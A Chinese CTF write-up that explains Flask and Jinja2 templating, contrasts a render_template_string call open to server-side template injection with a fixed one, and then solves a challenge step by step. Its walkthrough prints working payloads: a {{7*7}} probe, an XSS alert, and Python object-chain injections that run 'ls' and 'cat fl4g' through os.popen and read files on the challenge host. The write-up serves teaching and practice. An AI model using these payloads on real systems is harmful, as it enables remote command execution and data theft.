Web_python_template_injection

Web_python_template_injection

知识点

flask框架

python中编写的主流web框架有Django、Tornado、Flask、Twisted。这里主要介绍flask框架。

先看一段代码

from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
    return 'Hello World'

app.run()

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello world。

flask框架是基于Jinjia2模板引擎实现的。代码:

from  flask import  Flask

from  flask import  render_template

app  =  Flask(__name__)

@app.route('/hello')

@app.route('/hello/<name>')

def  hello(name=None):

    return  render_template('hello.html',  name=name)

app.run()

这段代码”hello()”函数并不是直接返回字符串,而是调用了”render_template()”方法来渲染模板。方法的第一个参数”hello.html”指向你想渲染的模板名称,第二个参数”name”是你要传到模板去的变量,变量可以传多个。

那么这个模板”hello.html”在哪儿呢,变量参数又该怎么用呢?接下来我们创建模板文件。在当前目录下,创建一个子目录”templates”(注意,一定要使用这个名字)。然后在”templates”目录下创建文件”hello.html”,内容如下:

<!doctype html>

<title>Hello Sample</title>

{% if name %}

  <h1>Hello {{ name }}!</h1>

{% else %}

  <h1>Hello World!</h1>

{%  endif  %}

接触过其他模板引擎的朋友们肯定立马秒懂了这段代码。它就是一个HTML模板,根据”name”变量的值,显示不同的内容。变量或表达式由”{{ }}”修饰,而控制语句由”{% %}”修饰,其他的代码,就是我们常见的HTML。让我们打开浏览器,输入”http://localhost:5000/hello/man”,页面上即显示大标题”Hello man!”。我们再看下页面源代码

<!doctype html>

<title>Hello from Flask</title>

  <h1>Hello man!</h1>

果然,模板代码进入了”Hello {{ name }}!”分支,而且变量”{{ name }}”被替换为了”man”。就实现了不同的用户呈现的内容(如,用户名,个人信息)啥的不同。Jinja2的模板引擎还有更多强大的功能,包括for循环,过滤器等。模板里也可以直接访问内置对象如request, session等。

以上内容参考博客

python中flask模板注入

flask模板中含有render_template_string,和render_template,前者用来渲染字符串,后者用来渲染模板。不正确的使用flask中的render_template_string方法会引发SSTI。

漏洞代码

from  flask import  Flask
from flask import render_template_string
from flask import request

app  =  Flask(__name__)

@app.route("/")

def test():
    code = request.args.get('id')
    html='<h3>%s</h3>'%code
    return render_template_string(html)

app.run()

代码中的id参数是用户可控的,并且是对直接对模板进行控制,简单说就是先填充好变量,再进行渲染,这时就会造成漏洞

构造

?id=<script>alert(111)</script>

可以看到


xss代码直接插入了页面中,进行了xss攻击,事实上可以进行的不止xss攻击。

正确代码

from  flask import  Flask
from flask import render_template_string
from flask import request

app  =  Flask(__name__)

@app.route("/")

def test():
    code1 = request.args.get('id')
    html='<h3>{{code}}</h3>'
    return render_template_string(html,code=code1)

app.run()

可以看到


xss语句并没有被执行,原因在于render_template_string函数会对变量中的内容进行实体转义,返回的是一个字符串而不是html文档,这里可能有点难理解,简单说正确代码是直接用变量去代替Jinja2的{{code}}内容,用户可以控制的是变量而不是模板。

思路

先随便构造

URL http://220.249.52.133:47213/1111

然后发现返回的是

URL http://220.249.52.133:47213/1111 not found

这说明构造的payload可能会显示在页面中

测试是否有模板注入漏洞

http://111.198.29.45:46675/{{7*7}}

服务器返回

URL http://111.198.29.45:46675/49 not found

说明7*7被成功执行,存在模板注入漏洞。

接下来,开始想办法编代码拿到服务器的控制台权限

看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。

找到父类<type 'object'>-->寻找子类(引用)-->找关于命令执行或者文件操作的模块(引用中有模块)。

题目告诉我们这是一个python注入问题,那么脚本肯定也是python的,思考怎样用python语句获取控制台权限:想到了os.systemos.popen(参考资料),这两句前者返回退出状态码,后者以file形式返回输出内容,我们想要的是内容,所以选择os.popen

__class__ //返回对象所属的类
__mro__ //返回一个类所继承的基类
__base__ //返回该类所继承的基类
//__mro__和__base__都是寻找该类继承的基类
__subclasses__()  //返回基类可用引用
__init__   //类的初始化方法
__globals__    //对包含函数全局变量的字典的引用

首先找到当前变量所在的类

http://220.249.52.133:47213/{{''.__class__}}

返回 URL http://220.249.52.133:47213/<type 'str'> not found

找object父类

http://220.249.52.133:47213/{{''.__class__.__mro__}}

返回 URL http://220.249.52.133:47213/(<type 'str'>, <type 'basestring'>, <type 'object'>) not found

找object可用引用

http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()}}

返回:一大堆可用引用,从其中可以找到我们想要的os所在的site._Printer类,它在列表的第七十二位,即__subclasses__()[71]

利用os模块读取目录

http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

返回 URL http://220.249.52.133:47213/fl4g index.py not found

读取fl4g中内容

http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

[40]号可用引用是file

常用payload还有

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')返回的是状态码,我们要结合curl命令,可(参考资料)

参考:xctf中write up

原文地址:https://www.cnblogs.com/NineOne/p/13811785.html